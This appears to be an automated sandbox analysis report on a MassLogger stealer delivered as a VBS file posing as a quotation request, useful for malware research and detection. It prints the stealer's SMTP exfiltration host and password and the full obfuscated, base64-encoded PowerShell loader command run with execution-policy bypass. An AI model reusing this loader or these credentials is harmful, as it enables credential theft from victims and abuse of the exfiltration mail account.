Analysis
- max time kernel
149s - max time network
115s - platform
windows11-21h2_x64 - resource
win11-20251015-en - resource tags
- submitted
08/11/2025, 16:47
General
- Target RFQ-SDS-11152022(1)_20250215095300.635_X.vbs
- Size 248KB
- Sample251108-vansws1rap
- SHA256 10d96a57b4a446b30816229307984a151f1d319eb8e25fdffb0b6185055f778a
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.catarinomoreira.pt
-
Port
587
-
Username
-
Password
armz%cata-Z-2020
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-11-07
-
host_password
armz%cata-Z-2020
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.catarinomoreira.pt
-
ssl_slate
True
Signatures
- MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Masslogger family
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Drops startup file 2 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ-SDS-11152022(1)_20250215095300.635_X.vbs"1⤵
-
C:\Windows\system32\cmd.execmd.exe /c C:\\Users\\Public\\PasturePlace.bat1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c start "" /min "C:\Users\Public\PasturePlace.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Public\PasturePlace.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe""C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -noni -ep bypass -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('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'.Replace('uoakhqpwpaqk','')))))""4⤵
- Badlisted process makes network request
- Drops startup file
- Accesses Microsoft Outlook profiles
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_lh4rw5ws.0dh.ps1
PasturePlace.bat
memory/3120-27-0x00000000070E0000-0x0000000007114000-memory.dmp
memory/3120-36-0x0000000007120000-0x000000000713E000-memory.dmp
memory/3120-7-0x0000000004FC0000-0x00000000055EA000-memory.dmp
memory/3120-8-0x0000000004E90000-0x0000000004EB2000-memory.dmp
memory/3120-10-0x0000000005660000-0x00000000056C6000-memory.dmp
memory/3120-9-0x0000000004F30000-0x0000000004F96000-memory.dmp
memory/3120-5-0x0000000004890000-0x00000000048C6000-memory.dmp
memory/3120-17-0x0000000005750000-0x0000000005AA7000-memory.dmp
memory/3120-18-0x0000000005C30000-0x0000000005C4E000-memory.dmp
memory/3120-19-0x0000000005C80000-0x0000000005CCC000-memory.dmp
memory/3120-21-0x0000000006190000-0x00000000061AA000-memory.dmp
memory/3120-20-0x0000000007590000-0x0000000007C0A000-memory.dmp
memory/3120-23-0x0000000006260000-0x0000000006282000-memory.dmp
memory/3120-22-0x0000000006F10000-0x0000000006FA6000-memory.dmp
memory/3120-24-0x0000000007C10000-0x00000000081B6000-memory.dmp
memory/3120-26-0x000000007FD40000-0x000000007FD50000-memory.dmp
memory/3120-6-0x0000000004980000-0x0000000004990000-memory.dmp
memory/3120-4-0x0000000004980000-0x0000000004990000-memory.dmp
memory/3120-32-0x0000000004980000-0x0000000004990000-memory.dmp
memory/3120-28-0x0000000070820000-0x000000007086C000-memory.dmp
memory/3120-37-0x0000000007150000-0x00000000071F4000-memory.dmp
memory/3120-38-0x0000000007250000-0x000000000725A000-memory.dmp
memory/3120-39-0x00000000073C0000-0x00000000073D1000-memory.dmp
memory/3120-40-0x0000000007090000-0x0000000007098000-memory.dmp
memory/3120-41-0x0000000007230000-0x0000000007240000-memory.dmp
memory/3120-43-0x0000000007240000-0x000000000725E000-memory.dmp
memory/3120-44-0x00000000081C0000-0x000000000825C000-memory.dmp
memory/3120-46-0x00000000083B0000-0x0000000008400000-memory.dmp
memory/3120-45-0x0000000008400000-0x0000000008492000-memory.dmp
memory/3120-47-0x0000000004980000-0x0000000004990000-memory.dmp
memory/3120-49-0x0000000008670000-0x0000000008832000-memory.dmp
memory/3120-48-0x000000007FD40000-0x000000007FD50000-memory.dmp
memory/3120-50-0x0000000004980000-0x0000000004990000-memory.dmp
memory/3120-51-0x00000000085B0000-0x00000000085BA000-memory.dmp
memory/3120-53-0x0000000004980000-0x0000000004990000-memory.dmp